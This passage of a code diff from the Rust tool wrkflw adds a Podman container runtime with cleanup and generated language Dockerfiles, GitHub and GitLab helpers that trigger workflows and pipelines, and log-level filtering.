+            if let Err(e) = result {
+                wrkflw_logging::error(&format!("Error during container cleanup: {}", e));
+            }
+        }
+        Err(_) => wrkflw_logging::warning(
+            "Podman cleanup timed out, some resources may not have been removed",
+        ),
+    }
+}
+
+// Clean up all tracked containers
+pub async fn cleanup_containers() -> Result<(), String> {
+    // Getting the containers to clean up should not take a long time
+    let containers_to_cleanup =
+        match tokio::time::timeout(std::time::Duration::from_millis(500), async {
+            match RUNNING_CONTAINERS.try_lock() {
+                Ok(containers) => containers.clone(),
+                Err(_) => {
+                    wrkflw_logging::error("Could not acquire container lock for cleanup");
+                    vec![]
+                }
+            }
+        })
+        .await
+        {
+            Ok(containers) => containers,
+            Err(_) => {
+                wrkflw_logging::error("Timeout while trying to get containers for cleanup");
+                vec![]
+            }
+        };
+
+    if containers_to_cleanup.is_empty() {
+        return Ok(());
+    }
+
+    wrkflw_logging::info(&format!(
+        "Cleaning up {} containers",
+        containers_to_cleanup.len()
+    ));
+
+    // Process each container with a timeout
+    for container_id in containers_to_cleanup {
+        // First try to stop the container
+        let stop_result = tokio::time::timeout(
+            std::time::Duration::from_millis(1000),
+            Command::new("podman")
+                .args(["stop", &container_id])
+                .stdout(Stdio::null())
+                .stderr(Stdio::null())
+                .output(),
+        )
+        .await;
+
+        match stop_result {
+            Ok(Ok(output)) => {
+                if output.status.success() {
+                    wrkflw_logging::debug(&format!("Stopped container: {}", container_id));
+                } else {
+                    wrkflw_logging::warning(&format!("Error stopping container {}", container_id));
+                }
+            }
+            Ok(Err(e)) => wrkflw_logging::warning(&format!(
+                "Error stopping container {}: {}",
+                container_id, e
+            )),
+            Err(_) => {
+                wrkflw_logging::warning(&format!("Timeout stopping container: {}", container_id))
+            }
+        }
+
+        // Then try to remove it
+        let remove_result = tokio::time::timeout(
+            std::time::Duration::from_millis(1000),
+            Command::new("podman")
+                .args(["rm", &container_id])
+                .stdout(Stdio::null())
+                .stderr(Stdio::null())
+                .output(),
+        )
+        .await;
+
+        match remove_result {
+            Ok(Ok(output)) => {
+                if output.status.success() {
+                    wrkflw_logging::debug(&format!("Removed container: {}", container_id));
+                } else {
+                    wrkflw_logging::warning(&format!("Error removing container {}", container_id));
+                }
+            }
+            Ok(Err(e)) => wrkflw_logging::warning(&format!(
+                "Error removing container {}: {}",
+                container_id, e
+            )),
+            Err(_) => {
+                wrkflw_logging::warning(&format!("Timeout removing container: {}", container_id))
+            }
+        }
+
+        // Always untrack the container whether or not we succeeded to avoid future cleanup attempts
+        untrack_container(&container_id);
+    }
+
+    Ok(())
+}
+
+#[async_trait]
+impl ContainerRuntime for PodmanRuntime {
+    async fn run_container(
+        &self,
+        image: &str,
+        cmd: &[&str],
+        env_vars: &[(&str, &str)],
+        working_dir: &Path,
+        volumes: &[(&Path, &Path)],
+    ) -> Result<ContainerOutput, ContainerError> {
+        // Print detailed debugging info
+        wrkflw_logging::info(&format!("Podman: Running container with image: {}", image));
+
+        let timeout_duration = std::time::Duration::from_secs(360); // 6 minutes timeout
+
+        // Run the entire container operation with a timeout
+        match tokio::time::timeout(
+            timeout_duration,
+            self.run_container_inner(image, cmd, env_vars, working_dir, volumes),
+        )
+        .await
+        {
+            Ok(result) => result,
+            Err(_) => {
+                wrkflw_logging::error("Podman operation timed out after 360 seconds");
+                Err(ContainerError::ContainerExecution(
+                    "Operation timed out".to_string(),
+                ))
+            }
+        }
+    }
+
+    async fn pull_image(&self, image: &str) -> Result<(), ContainerError> {
+        // Add a timeout for pull operations
+        let timeout_duration = std::time::Duration::from_secs(30);
+
+        match tokio::time::timeout(timeout_duration, self.pull_image_inner(image)).await {
+            Ok(result) => result,
+            Err(_) => {
+                wrkflw_logging::warning(&format!(
+                    "Pull of image {} timed out, continuing with existing image",
+                    image
+                ));
+                // Return success to allow continuing with existing image
+                Ok(())
+            }
+        }
+    }
+
+    async fn build_image(&self, dockerfile: &Path, tag: &str) -> Result<(), ContainerError> {
+        // Add a timeout for build operations
+        let timeout_duration = std::time::Duration::from_secs(120); // 2 minutes timeout for builds
+
+        match tokio::time::timeout(timeout_duration, self.build_image_inner(dockerfile, tag)).await
+        {
+            Ok(result) => result,
+            Err(_) => {
+                wrkflw_logging::error(&format!(
+                    "Building image {} timed out after 120 seconds",
+                    tag
+                ));
+                Err(ContainerError::ImageBuild(
+                    "Operation timed out".to_string(),
+                ))
+            }
+        }
+    }
+
+    async fn prepare_language_environment(
+        &self,
+        language: &str,
+        version: Option<&str>,
+        additional_packages: Option<Vec<String>>,
+    ) -> Result<String, ContainerError> {
+        // Check if we already have a customized image for this language and version
+        let key = format!("{}-{}", language, version.unwrap_or("latest"));
+        if let Some(customized_image) = Self::get_language_specific_image("", language, version) {
+            return Ok(customized_image);
+        }
+
+        // Create a temporary Dockerfile for customization
+        let temp_dir = tempfile::tempdir().map_err(|e| {
+            ContainerError::ContainerStart(format!("Failed to create temp directory: {}", e))
+        })?;
+
+        let dockerfile_path = temp_dir.path().join("Dockerfile");
+        let mut dockerfile_content = String::new();
+
+        // Add language-specific setup based on the language
+        match language {
+            "python" => {
+                let base_image =
+                    version.map_or("python:3.11-slim".to_string(), |v| format!("python:{}", v));
+                dockerfile_content.push_str(&format!("FROM {}\n\n", base_image));
+                dockerfile_content.push_str(
+                    "RUN apt-get update && apt-get install -y --no-install-recommends \\\n",
+                );
+                dockerfile_content.push_str("    build-essential \\\n");
+                dockerfile_content.push_str("    && rm -rf /var/lib/apt/lists/*\n");
+
+                if let Some(packages) = additional_packages {
+                    for package in packages {
+                        dockerfile_content.push_str(&format!("RUN pip install {}\n", package));
+                    }
+                }
+            }
+            "node" => {
+                let base_image =
+                    version.map_or("node:20-slim".to_string(), |v| format!("node:{}", v));
+                dockerfile_content.push_str(&format!("FROM {}\n\n", base_image));
+                dockerfile_content.push_str(
+                    "RUN apt-get update && apt-get install -y --no-install-recommends \\\n",
+                );
+                dockerfile_content.push_str("    build-essential \\\n");
+                dockerfile_content.push_str("    && rm -rf /var/lib/apt/lists/*\n");
+
+                if let Some(packages) = additional_packages {
+                    for package in packages {
+                        dockerfile_content.push_str(&format!("RUN npm install -g {}\n", package));
+                    }
+                }
+            }
+            "java" => {
+                let base_image = version.map_or("eclipse-temurin:17-jdk".to_string(), |v| {
+                    format!("eclipse-temurin:{}", v)
+                });
+                dockerfile_content.push_str(&format!("FROM {}\n\n", base_image));
+                dockerfile_content.push_str(
+                    "RUN apt-get update && apt-get install -y --no-install-recommends \\\n",
+                );
+                dockerfile_content.push_str("    maven \\\n");
+                dockerfile_content.push_str("    && rm -rf /var/lib/apt/lists/*\n");
+            }
+            "go" => {
+                let base_image =
+                    version.map_or("golang:1.21-slim".to_string(), |v| format!("golang:{}", v));
+                dockerfile_content.push_str(&format!("FROM {}\n\n", base_image));
+                dockerfile_content.push_str(
+                    "RUN apt-get update && apt-get install -y --no-install-recommends \\\n",
+                );
+                dockerfile_content.push_str("    git \\\n");
+                dockerfile_content.push_str("    && rm -rf /var/lib/apt/lists/*\n");
+
+                if let Some(packages) = additional_packages {
+                    for package in packages {
+                        dockerfile_content.push_str(&format!("RUN go install {}\n", package));
+                    }
+                }
+            }
+            "dotnet" => {
+                let base_image = version
+                    .map_or("mcr.microsoft.com/dotnet/sdk:7.0".to_string(), |v| {
+                        format!("mcr.microsoft.com/dotnet/sdk:{}", v)
+                    });
+                dockerfile_content.push_str(&format!("FROM {}\n\n", base_image));
+
+                if let Some(packages) = additional_packages {
+                    for package in packages {
+                        dockerfile_content
+                            .push_str(&format!("RUN dotnet tool install -g {}\n", package));
+                    }
+                }
+            }
+            "rust" => {
+                let base_image =
+                    version.map_or("rust:latest".to_string(), |v| format!("rust:{}", v));
+                dockerfile_content.push_str(&format!("FROM {}\n\n", base_image));
+                dockerfile_content.push_str(
+                    "RUN apt-get update && apt-get install -y --no-install-recommends \\\n",
+                );
+                dockerfile_content.push_str("    build-essential \\\n");
+                dockerfile_content.push_str("    && rm -rf /var/lib/apt/lists/*\n");
+
+                if let Some(packages) = additional_packages {
+                    for package in packages {
+                        dockerfile_content.push_str(&format!("RUN cargo install {}\n", package));
+                    }
+                }
+            }
+            _ => {
+                return Err(ContainerError::ContainerStart(format!(
+                    "Unsupported language: {}",
+                    language
+                )));
+            }
+        }
+
+        // Write the Dockerfile
+        std::fs::write(&dockerfile_path, dockerfile_content).map_err(|e| {
+            ContainerError::ContainerStart(format!("Failed to write Dockerfile: {}", e))
+        })?;
+
+        // Build the customized image
+        let image_tag = format!("wrkflw-{}-{}", language, version.unwrap_or("latest"));
+        self.build_image(&dockerfile_path, &image_tag).await?;
+
+        // Store the customized image
+        Self::set_language_specific_image("", language, version, &image_tag);
+
+        Ok(image_tag)
+    }
+}
+
+// Implementation of internal methods
+impl PodmanRuntime {
+    async fn run_container_inner(
+        &self,
+        image: &str,
+        cmd: &[&str],
+        env_vars: &[(&str, &str)],
+        working_dir: &Path,
+        volumes: &[(&Path, &Path)],
+    ) -> Result<ContainerOutput, ContainerError> {
+        wrkflw_logging::debug(&format!("Running command in Podman: {:?}", cmd));
+        wrkflw_logging::debug(&format!("Environment: {:?}", env_vars));
+        wrkflw_logging::debug(&format!("Working directory: {}", working_dir.display()));
+
+        // Generate a unique container name
+        let container_name = format!("wrkflw-{}", uuid::Uuid::new_v4());
+
+        // Build the podman run command and store temporary strings
+        let working_dir_str = working_dir.to_string_lossy().to_string();
+        let mut env_strings = Vec::new();
+        let mut volume_strings = Vec::new();
+
+        // Prepare environment variable strings
+        for (key, value) in env_vars {
+            env_strings.push(format!("{}={}", key, value));
+        }
+
+        // Prepare volume mount strings
+        for (host_path, container_path) in volumes {
+            volume_strings.push(format!(
+                "{}:{}",
+                host_path.to_string_lossy(),
+                container_path.to_string_lossy()
+            ));
+        }
+
+        let mut args = vec!["run", "--name", &container_name, "-w", &working_dir_str];
+
+        // Only use --rm if we don't want to preserve containers on failure
+        // When preserve_containers_on_failure is true, we skip --rm so failed containers remain
+        if !self.preserve_containers_on_failure {
+            args.insert(1, "--rm"); // Insert after "run"
+        }
+
+        // Add environment variables
+        for env_string in &env_strings {
+            args.push("-e");
+            args.push(env_string);
+        }
+
+        // Add volume mounts
+        for volume_string in &volume_strings {
+            args.push("-v");
+            args.push(volume_string);
+        }
+
+        // Add the image
+        args.push(image);
+
+        // Add the command
+        args.extend(cmd);
+
+        // Track the container (even though we use --rm, track it for consistency)
+        track_container(&container_name);
+
+        // Execute the command
+        let result = self.execute_podman_command(&args, None).await;
+
+        // Handle container cleanup based on result and settings
+        match &result {
+            Ok(output) => {
+                if output.exit_code == 0 {
+                    // Success - always clean up successful containers
+                    if self.preserve_containers_on_failure {
+                        // We didn't use --rm, so manually remove successful container
+                        let cleanup_result = tokio::time::timeout(
+                            std::time::Duration::from_millis(1000),
+                            Command::new("podman")
+                                .args(["rm", &container_name])
+                                .stdout(Stdio::null())
+                                .stderr(Stdio::null())
+                                .output(),
+                        )
+                        .await;
+
+                        match cleanup_result {
+                            Ok(Ok(cleanup_output)) => {
+                                if !cleanup_output.status.success() {
+                                    wrkflw_logging::debug(&format!(
+                                        "Failed to remove successful container {}",
+                                        container_name
+                                    ));
+                                }
+                            }
+                            _ => wrkflw_logging::debug(&format!(
+                                "Timeout removing successful container {}",
+                                container_name
+                            )),
+                        }
+                    }
+                    // If not preserving, container was auto-removed with --rm
+                    untrack_container(&container_name);
+                } else {
+                    // Failed container
+                    if self.preserve_containers_on_failure {
+                        // Failed and we want to preserve - don't clean up but untrack from auto-cleanup
+                        wrkflw_logging::info(&format!(
+                            "Preserving failed container {} for debugging (exit code: {}). Use 'podman exec -it {} bash' to inspect.",
+                            container_name, output.exit_code, container_name
+                        ));
+                        untrack_container(&container_name);
+                    } else {
+                        // Failed but we don't want to preserve - container was auto-removed with --rm
+                        untrack_container(&container_name);
+                    }
+                }
+            }
+            Err(_) => {
+                // Command failed to execute properly - clean up if container exists and not preserving
+                if !self.preserve_containers_on_failure {
+                    // Container was created with --rm, so it should be auto-removed
+                    untrack_container(&container_name);
+                } else {
+                    // Container was created without --rm, try to clean it up since execution failed
+                    let cleanup_result = tokio::time::timeout(
+                        std::time::Duration::from_millis(1000),
+                        Command::new("podman")
+                            .args(["rm", "-f", &container_name])
+                            .stdout(Stdio::null())
+                            .stderr(Stdio::null())
+                            .output(),
+                    )
+                    .await;
+
+                    match cleanup_result {
+                        Ok(Ok(_)) => wrkflw_logging::debug(&format!(
+                            "Cleaned up failed execution container {}",
+                            container_name
+                        )),
+                        _ => wrkflw_logging::debug(&format!(
+                            "Failed to clean up execution failure container {}",
+                            container_name
+                        )),
+                    }
+                    untrack_container(&container_name);
+                }
+            }
+        }
+
+        match &result {
+            Ok(output) => {
+                if output.exit_code != 0 {
+                    wrkflw_logging::info(&format!(
+                        "Podman command failed with exit code: {}",
+                        output.exit_code
+                    ));
+                    wrkflw_logging::debug(&format!("Failed command: {:?}", cmd));
+                    wrkflw_logging::debug(&format!("Working directory: {}", working_dir.display()));
+                    wrkflw_logging::debug(&format!("STDERR: {}", output.stderr));
+                }
+            }
+            Err(e) => {
+                wrkflw_logging::error(&format!("Podman execution error: {}", e));
+            }
+        }
+
+        result
+    }
+
+    async fn pull_image_inner(&self, image: &str) -> Result<(), ContainerError> {
+        let args = vec!["pull", image];
+        let output = self.execute_podman_command(&args, None).await?;
+
+        if output.exit_code != 0 {
+            return Err(ContainerError::ImagePull(format!(
+                "Failed to pull image {}: {}",
+                image, output.stderr
+            )));
+        }
+
+        Ok(())
+    }
+
+    async fn build_image_inner(&self, dockerfile: &Path, tag: &str) -> Result<(), ContainerError> {
+        let context_dir = dockerfile.parent().unwrap_or(Path::new("."));
+        let dockerfile_str = dockerfile.to_string_lossy().to_string();
+        let context_dir_str = context_dir.to_string_lossy().to_string();
+        let args = vec!["build", "-f", &dockerfile_str, "-t", tag, &context_dir_str];
+
+        let output = self.execute_podman_command(&args, None).await?;
+
+        if output.exit_code != 0 {
+            return Err(ContainerError::ImageBuild(format!(
+                "Failed to build image {}: {}",
+                tag, output.stderr
+            )));
+        }
+
+        Ok(())
+    }
+}
+
+// Public accessor functions for testing
+#[cfg(test)]
+pub fn get_tracked_containers() -> Vec<String> {
+    if let Ok(containers) = RUNNING_CONTAINERS.lock() {
+        containers.clone()
+    } else {
+        vec![]
+    }
+}

crates/executor/src/substitution.rs

@@ -10,6 +10,7 @@ lazy_static! {
 
 /// Preprocesses a command string to replace GitHub-style matrix variable references
 /// with their values from the environment
+#[allow(dead_code)]
 pub fn preprocess_command(command: &str, matrix_values: &HashMap<String, Value>) -> String {
     // Replace matrix references like ${{ matrix.os }} with their values
     let result = MATRIX_PATTERN.replace_all(command, |caps: &regex::Captures| {
@@ -34,6 +35,7 @@ pub fn preprocess_command(command: &str, matrix_values: &HashMap<String, Value>)
 }
 
 /// Apply variable substitution to step run commands
+#[allow(dead_code)]
 pub fn process_step_run(run: &str, matrix_combination: &Option<HashMap<String, Value>>) -> String {
     if let Some(matrix) = matrix_combination {
         preprocess_command(run, matrix)

crates/github/Cargo.toml

@@ -0,0 +1,24 @@
+[package]
+name = "wrkflw-github"
+version = "0.7.3"
+edition.workspace = true
+description = "GitHub API integration for wrkflw workflow execution engine"
+license.workspace = true
+documentation.workspace = true
+homepage.workspace = true
+repository.workspace = true
+keywords.workspace = true
+categories.workspace = true
+
+[dependencies]
+# Internal crates
+wrkflw-models.workspace = true
+
+# External dependencies from workspace
+serde.workspace = true
+serde_yaml.workspace = true
+serde_json.workspace = true
+reqwest.workspace = true
+thiserror.workspace = true
+lazy_static.workspace = true
+regex.workspace = true

crates/github/README.md

@@ -0,0 +1,23 @@
+## wrkflw-github
+
+GitHub integration helpers used by `wrkflw` to list/trigger workflows.
+
+- **List workflows** in `.github/workflows`
+- **Trigger workflow_dispatch** events over the GitHub API
+
+### Example
+
+```rust
+use wrkflw_github::{get_repo_info, trigger_workflow};
+
+# tokio_test::block_on(async {
+let info = get_repo_info()?;
+println!("{}/{} (default branch: {})", info.owner, info.repo, info.default_branch);
+
+// Requires GITHUB_TOKEN in env
+trigger_workflow("ci", Some("main"), None).await?;
+# Ok::<_, Box<dyn std::error::Error>>(())
+# })?;
+```
+
+Notes: set `GITHUB_TOKEN` with the `workflow` scope; only public repos are supported out-of-the-box.

crates/github/src/lib.rs

@@ -1,6 +1,9 @@
+// github crate
+
 use lazy_static::lazy_static;
 use regex::Regex;
 use reqwest::header;
+use serde_json::{self};
 use std::collections::HashMap;
 use std::fs;
 use std::path::Path;
@@ -161,6 +164,18 @@ pub async fn trigger_workflow(
     let branch_ref = branch.unwrap_or(&repo_info.default_branch);
     println!("Using branch: {}", branch_ref);
 
+    // Extract just the workflow name from the path if it's a full path
+    let workflow_name = if workflow_name.contains('/') {
+        Path::new(workflow_name)
+            .file_stem()
+            .and_then(|s| s.to_str())
+            .ok_or_else(|| GithubError::GitParseError("Invalid workflow name".to_string()))?
+    } else {
+        workflow_name
+    };
+
+    println!("Using workflow name: {}", workflow_name);
+
     // Create simplified payload
     let mut payload = serde_json::json!({
         "ref": branch_ref
@@ -202,9 +217,23 @@ pub async fn trigger_workflow(
             .await
             .unwrap_or_else(|_| format!("Unknown error (HTTP {})", status));
 
+        // Add more detailed error information
+        let error_details = if status == 500 {
+            "Internal server error from GitHub. This could be due to:\n\
+             1. The workflow file doesn't exist in the repository\n\
+             2. The GitHub token doesn't have sufficient permissions\n\
+             3. There's an issue with the workflow file itself\n\
+             Please check:\n\
+             - The workflow file exists at .github/workflows/rust.yml\n\
+             - Your GitHub token has the 'workflow' scope\n\
+             - The workflow file is valid YAML"
+        } else {
+            &error_message
+        };
+
         return Err(GithubError::ApiError {
             status,
-            message: error_message,
+            message: error_details.to_string(),
         });
     }
 
@@ -253,6 +282,16 @@ async fn list_recent_workflow_runs(
     workflow_name: &str,
     token: &str,
 ) -> Result<Vec<serde_json::Value>, GithubError> {
+    // Extract just the workflow name from the path if it's a full path
+    let workflow_name = if workflow_name.contains('/') {
+        Path::new(workflow_name)
+            .file_stem()
+            .and_then(|s| s.to_str())
+            .ok_or_else(|| GithubError::GitParseError("Invalid workflow name".to_string()))?
+    } else {
+        workflow_name
+    };
+
     // Get recent workflow runs via GitHub API
     let url = format!(
         "https://api.github.com/repos/{}/{}/actions/workflows/{}.yml/runs?per_page=5",

crates/gitlab/Cargo.toml

@@ -0,0 +1,25 @@
+[package]
+name = "wrkflw-gitlab"
+version = "0.7.3"
+edition.workspace = true
+description = "GitLab API integration for wrkflw workflow execution engine"
+license.workspace = true
+documentation.workspace = true
+homepage.workspace = true
+repository.workspace = true
+keywords.workspace = true
+categories.workspace = true
+
+[dependencies]
+# Internal crates
+wrkflw-models.workspace = true
+
+# External dependencies
+lazy_static.workspace = true
+regex.workspace = true
+reqwest.workspace = true
+serde.workspace = true
+serde_yaml.workspace = true
+serde_json.workspace = true
+thiserror.workspace = true
+urlencoding.workspace = true

crates/gitlab/README.md

@@ -0,0 +1,23 @@
+## wrkflw-gitlab
+
+GitLab integration helpers used by `wrkflw` to trigger pipelines.
+
+- Reads repo info from local git remote
+- Triggers pipelines via GitLab API
+
+### Example
+
+```rust
+use wrkflw_gitlab::{get_repo_info, trigger_pipeline};
+
+# tokio_test::block_on(async {
+let info = get_repo_info()?;
+println!("{}/{} (default branch: {})", info.namespace, info.project, info.default_branch);
+
+// Requires GITLAB_TOKEN in env (api scope)
+trigger_pipeline(Some("main"), None).await?;
+# Ok::<_, Box<dyn std::error::Error>>(())
+# })?;
+```
+
+Notes: looks for `.gitlab-ci.yml` in the repo root when listing pipelines.

crates/gitlab/src/lib.rs

@@ -0,0 +1,278 @@
+// gitlab crate
+
+use lazy_static::lazy_static;
+use regex::Regex;
+use reqwest::header;
+use std::collections::HashMap;
+use std::path::Path;
+use std::process::Command;
+use thiserror::Error;
+
+#[derive(Error, Debug)]
+pub enum GitlabError {
+    #[error("HTTP error: {0}")]
+    RequestError(#[from] reqwest::Error),
+
+    #[error("IO error: {0}")]
+    IoError(#[from] std::io::Error),
+
+    #[error("Failed to parse Git repository URL: {0}")]
+    GitParseError(String),
+
+    #[error("GitLab token not found. Please set GITLAB_TOKEN environment variable")]
+    TokenNotFound,
+
+    #[error("API error: {status} - {message}")]
+    ApiError { status: u16, message: String },
+}
+
+/// Information about a GitLab repository
+#[derive(Debug, Clone)]
+pub struct RepoInfo {
+    pub namespace: String,
+    pub project: String,
+    pub default_branch: String,
+}
+
+lazy_static! {
+    static ref GITLAB_REPO_REGEX: Regex =
+        Regex::new(r"(?:https://gitlab\.com/|git@gitlab\.com:)([^/]+)/([^/.]+)(?:\.git)?")
+            .expect("Failed to compile GitLab repo regex - this is a critical error");
+}
+
+/// Extract repository information from the current git repository for GitLab
+pub fn get_repo_info() -> Result<RepoInfo, GitlabError> {
+    let output = Command::new("git")
+        .args(["remote", "get-url", "origin"])
+        .output()
+        .map_err(|e| GitlabError::GitParseError(format!("Failed to execute git command: {}", e)))?;
+
+    if !output.status.success() {
+        return Err(GitlabError::GitParseError(
+            "Failed to get git origin URL. Are you in a git repository?".to_string(),
+        ));
+    }
+
+    let url = String::from_utf8_lossy(&output.stdout).trim().to_string();
+
+    if let Some(captures) = GITLAB_REPO_REGEX.captures(&url) {
+        let namespace = captures
+            .get(1)
+            .ok_or_else(|| {
+                GitlabError::GitParseError(
+                    "Unable to extract namespace from GitLab URL".to_string(),
+                )
+            })?
+            .as_str()
+            .to_string();
+
+        let project = captures
+            .get(2)
+            .ok_or_else(|| {
+                GitlabError::GitParseError(
+                    "Unable to extract project name from GitLab URL".to_string(),
+                )
+            })?
+            .as_str()
+            .to_string();
+
+        // Get the default branch
+        let branch_output = Command::new("git")
+            .args(["rev-parse", "--abbrev-ref", "HEAD"])
+            .output()
+            .map_err(|e| {
+                GitlabError::GitParseError(format!("Failed to execute git command: {}", e))
+            })?;
+
+        if !branch_output.status.success() {
+            return Err(GitlabError::GitParseError(
+                "Failed to get current branch".to_string(),
+            ));
+        }
+
+        let default_branch = String::from_utf8_lossy(&branch_output.stdout)
+            .trim()
+            .to_string();
+
+        Ok(RepoInfo {
+            namespace,
+            project,
+            default_branch,
+        })
+    } else {
+        Err(GitlabError::GitParseError(format!(
+            "URL '{}' is not a valid GitLab repository URL",
+            url
+        )))
+    }
+}
+
+/// Get the list of available pipeline files in the repository
+pub async fn list_pipelines(_repo_info: &RepoInfo) -> Result<Vec<String>, GitlabError> {
+    // GitLab CI/CD pipelines are defined in .gitlab-ci.yml files
+    let pipeline_file = Path::new(".gitlab-ci.yml");
+
+    if !pipeline_file.exists() {
+        return Err(GitlabError::IoError(std::io::Error::new(
+            std::io::ErrorKind::NotFound,
+            "GitLab CI/CD pipeline file not found (.gitlab-ci.yml)",
+        )));
+    }
+
+    // In GitLab, there's typically a single pipeline file with multiple jobs
+    // Return a list with just that file name
+    Ok(vec!["gitlab-ci".to_string()])
+}
+
+/// Trigger a pipeline on GitLab
+pub async fn trigger_pipeline(
+    branch: Option<&str>,
+    variables: Option<HashMap<String, String>>,
+) -> Result<(), GitlabError> {
+    // Get GitLab token from environment
+    let token = std::env::var("GITLAB_TOKEN").map_err(|_| GitlabError::TokenNotFound)?;
+
+    // Trim the token to remove any leading or trailing whitespace
+    let trimmed_token = token.trim();
+
+    // Get repository information
+    let repo_info = get_repo_info()?;
+    println!(
+        "GitLab Repository: {}/{}",
+        repo_info.namespace, repo_info.project
+    );
+
+    // Prepare the request payload
+    let branch_ref = branch.unwrap_or(&repo_info.default_branch);
+    println!("Using branch: {}", branch_ref);
+
+    // Create simplified payload
+    let mut payload = serde_json::json!({
+        "ref": branch_ref
+    });
+
+    // Add variables if provided
+    if let Some(vars_map) = variables {
+        // GitLab expects variables in a specific format
+        let formatted_vars: Vec<serde_json::Value> = vars_map
+            .iter()
+            .map(|(key, value)| {
+                serde_json::json!({
+                    "key": key,
+                    "value": value
+                })
+            })
+            .collect();
+
+        payload["variables"] = serde_json::json!(formatted_vars);
+        println!("With variables: {:?}", vars_map);
+    }
+
+    // URL encode the namespace and project for use in URL
+    let encoded_namespace = urlencoding::encode(&repo_info.namespace);
+    let encoded_project = urlencoding::encode(&repo_info.project);
+
+    // Send the pipeline trigger request
+    let url = format!(
+        "https://gitlab.com/api/v4/projects/{encoded_namespace}%2F{encoded_project}/pipeline",
+        encoded_namespace = encoded_namespace,
+        encoded_project = encoded_project,
+    );
+
+    println!("Triggering pipeline at URL: {}", url);
+
+    // Create a reqwest client
+    let client = reqwest::Client::new();
+
+    // Send the request using reqwest
+    let response = client
+        .post(&url)
+        .header("PRIVATE-TOKEN", trimmed_token)
+        .header(header::CONTENT_TYPE, "application/json")
+        .json(&payload)
+        .send()
+        .await
+        .map_err(GitlabError::RequestError)?;
+
+    if !response.status().is_success() {
+        let status = response.status().as_u16();
+        let error_message = response
+            .text()
+            .await
+            .unwrap_or_else(|_| format!("Unknown error (HTTP {})", status));
+
+        // Add more detailed error information
+        let error_details = if status == 404 {
+            "Project not found or token doesn't have access to it. This could be due to:\n\
+             1. The project doesn't exist\n\
+             2. The GitLab token doesn't have sufficient permissions\n\
+             Please check:\n\
+             - The repository URL is correct\n\
+             - Your GitLab token has the correct scope (api access)\n\
+             - Your token has access to the project"
+        } else if status == 401 {
+            "Unauthorized. Your GitLab token may be invalid or expired."
+        } else {
+            &error_message
+        };
+
+        return Err(GitlabError::ApiError {
+            status,
+            message: error_details.to_string(),
+        });
+    }
+
+    // Parse response to get pipeline ID
+    let pipeline_info: serde_json::Value = response.json().await?;
+    let pipeline_id = pipeline_info["id"].as_i64().unwrap_or(0);
+    let pipeline_url = format!(
+        "https://gitlab.com/{}/{}/pipelines/{}",
+        repo_info.namespace, repo_info.project, pipeline_id
+    );
+
+    println!("Pipeline triggered successfully!");
+    println!("View pipeline at: {}", pipeline_url);
+
+    Ok(())
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_parse_gitlab_url_https() {
+        let url = "https://gitlab.com/mygroup/myproject.git";
+        assert!(GITLAB_REPO_REGEX.is_match(url));
+
+        let captures = GITLAB_REPO_REGEX.captures(url).unwrap();
+        assert_eq!(captures.get(1).unwrap().as_str(), "mygroup");
+        assert_eq!(captures.get(2).unwrap().as_str(), "myproject");
+    }
+
+    #[test]
+    fn test_parse_gitlab_url_ssh() {
+        let url = "git@gitlab.com:mygroup/myproject.git";
+        assert!(GITLAB_REPO_REGEX.is_match(url));
+
+        let captures = GITLAB_REPO_REGEX.captures(url).unwrap();
+        assert_eq!(captures.get(1).unwrap().as_str(), "mygroup");
+        assert_eq!(captures.get(2).unwrap().as_str(), "myproject");
+    }
+
+    #[test]
+    fn test_parse_gitlab_url_no_git_extension() {
+        let url = "https://gitlab.com/mygroup/myproject";
+        assert!(GITLAB_REPO_REGEX.is_match(url));
+
+        let captures = GITLAB_REPO_REGEX.captures(url).unwrap();
+        assert_eq!(captures.get(1).unwrap().as_str(), "mygroup");
+        assert_eq!(captures.get(2).unwrap().as_str(), "myproject");
+    }
+
+    #[test]
+    fn test_parse_invalid_url() {
+        let url = "https://github.com/myuser/myrepo.git";
+        assert!(!GITLAB_REPO_REGEX.is_match(url));
+    }
+}

crates/logging/Cargo.toml

@@ -0,0 +1,21 @@
+[package]
+name = "wrkflw-logging"
+version = "0.7.3"
+edition.workspace = true
+description = "Logging functionality for wrkflw workflow execution engine"
+license.workspace = true
+documentation.workspace = true
+homepage.workspace = true
+repository.workspace = true
+keywords.workspace = true
+categories.workspace = true
+
+[dependencies]
+# Internal crates
+wrkflw-models.workspace = true
+
+# External dependencies
+chrono.workspace = true
+once_cell.workspace = true
+serde.workspace = true
+serde_yaml.workspace = true

crates/logging/README.md

@@ -0,0 +1,22 @@
+## wrkflw-logging
+
+Lightweight in-memory logging with simple levels for TUI/CLI output.
+
+- Thread-safe, timestamped messages
+- Level filtering (Debug/Info/Warning/Error)
+- Pluggable into UI for live log views
+
+### Example
+
+```rust
+use wrkflw_logging::{info, warning, error, LogLevel, set_log_level, get_logs};
+
+set_log_level(LogLevel::Info);
+info("starting");
+warning("be careful");
+error("boom");
+
+for line in get_logs() {
+    println!("{}", line);
+}
+```

crates/logging/src/lib.rs

@@ -5,7 +5,11 @@ use std::sync::{Arc, Mutex};
 // Thread-safe log storage
 static LOGS: Lazy<Arc<Mutex<Vec<String>>>> = Lazy::new(|| Arc::new(Mutex::new(Vec::new())));
 
+// Current log level
+static LOG_LEVEL: Lazy<Arc<Mutex<LogLevel>>> = Lazy::new(|| Arc::new(Mutex::new(LogLevel::Info)));
+
 // Log levels
+#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)]
 pub enum LogLevel {
     Debug,
     Info,
@@ -24,6 +28,23 @@ impl LogLevel {
     }
 }
 
+// Set the current log level
+pub fn set_log_level(level: LogLevel) {
+    if let Ok(mut current_level) = LOG_LEVEL.lock() {
+        *current_level = level;
+    }
+}
+
+// Get the current log level
+pub fn get_log_level() -> LogLevel {
+    if let Ok(level) = LOG_LEVEL.lock() {
+        *level
+    } else {
+        // Default to Info if we can't get the lock
+        LogLevel::Info
+    }
+}
+
 // Log a message with timestamp and level
 pub fn log(level: LogLevel, message: &str) {
     let timestamp = Local::now().format("%H:%M:%S").to_string();
@@ -32,11 +53,20 @@ pub fn log(level: LogLevel, message: &str) {
     let formatted = format!("[{}] {} {}", timestamp, level.prefix(), message);
 
     if let Ok(mut logs) = LOGS.lock() {
-        logs.push(formatted);
+        logs.push(formatted.clone());
     }
 
-    // In verbose mode or when not in TUI, we might still want to print to console
-    // This can be controlled by a setting
+    // Print to console if the message level is >= the current log level
+    // This ensures Debug messages only show up when the Debug level is set
+    if let Ok(current_level) = LOG_LEVEL.lock() {
+        if level >= *current_level {
